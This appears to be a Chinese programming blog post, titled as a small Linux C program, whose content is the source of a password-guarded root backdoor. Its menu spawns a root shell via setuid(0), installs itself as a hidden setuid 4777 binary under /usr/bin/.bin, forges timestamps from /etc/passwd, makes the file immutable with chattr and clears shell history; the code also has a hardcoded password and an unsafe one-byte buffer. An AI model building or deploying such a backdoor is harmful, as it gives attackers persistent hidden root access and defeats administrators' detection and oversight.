Linux C语言小程序

Linux C语言小程序

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int compare(char*a,char*b)
{
    if(strcmp(a,b)==0)
        return 1;
    else
        return 0;
}
int is_file_exist(const char*file_path)
{
    if(file_path==NULL)
    {
        return -1;
    }
    if(access(file_path,F_OK)==0)
    {
        return 0;
    }
    return -1;
}
char *myFileBasePath="/usr/bin/.bin/bin";
char *password="611521";
char *mustFileName="./root";
int main(int argc,char** argv)
{
    int errorTime=0;
    char typeCommandCode;
    char what;
    char *a=argv[0];
    if(compare(a,mustFileName)==0){
       printf("file path must be ./root\n");
       return 0;
    }
    while(1)
    {
        printf("please type your password:\n");
        char *typePassword=(char*)malloc(sizeof(char));
        scanf("%s",typePassword);
        what=getchar();
        if(compare(password,typePassword)==1)
        {
            errorTime=0;
            printf("\n\n welcome you to login success! \n\n");
            while(1)
            {
                system("clear");
                printf("************************************************\n");
                printf("*        Welcome to use Blake System           *\n");
                printf("*   1----------------get root role             *\n");
                printf("*   2----------------check file                *\n");
                printf("*   3--------------- install command           *\n");
                printf("*   4----------------uninstall command         *\n");
                printf("*   5--------------- Exit                      *\n");
                printf("*                                              *\n");
                printf("************************************************\n");
                printf("please type your option:1-5\n");
                typeCommandCode=getchar();
                what=getchar();
                if(typeCommandCode=='1')
                {
                    setuid(0);
                    setgid(0);
                    system("/bin/bash");
                    printf("\n Press and key to Continue \n");
                    what=getchar();
                    continue;
                }
                else if(typeCommandCode=='2')
                {
                     if(is_file_exist(myFileBasePath)==0)
                    {
                        printf("\n /usr/bin/.bin/bin you can find the file \n");
                        printf("\n Press and key to Continue \n");
                        what=getchar();
                        continue;
                    }
                    else
                    {
                        printf("\n /usr/bin/.bin/bin you can't find the file \n");
                        printf("\n Press and key to Continue \n");
                        what=getchar();
                        continue;
                    }
                }
                else if(typeCommandCode=='3')
                {
                    system("mkdir /usr/bin/.bin");
                    system("mv root /usr/bin/.bin/bin");
                    system("chmod 4777 /usr/bin/.bin/bin");
                    system("touch -r /etc/passwd /usr/bin/.bin/");
                    system("touch -r /etc/passwd /usr/bin/.bin/bin");
                    system("chattr -R +i /usr/bin/.bin");
                    system("history -c");
                    printf("\n Press and key to Continue \n");
                    what=getchar();
                    continue;
                }
                else if(typeCommandCode=='4')
                {
                    system("chattr -i /usr/bin/.bin/bin");
                    system("rm -rf /usr/bin/.bin");
                    printf("\n Press and key to Continue \n");
                    what=getchar();
                    continue;


                }else if(typeCommandCode=='5'){
                   printf("\n Press and key to Exit \n");
                    return 0;
                }
                else
                {
                    printf("\n can't find the option \n");
                    printf("\n Press and key to Continue \n");
                    what=getchar();
                    continue;
                }
            }
        }
        else if(compare(password,typePassword)==0)
        {
            printf("\n password error \n\n");
            errorTime++;
            if(errorTime==3)
            {
                printf("\n\n error time too many, it will to exit! \n\n");
                break;
                return 0;
            }
        }
    }
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值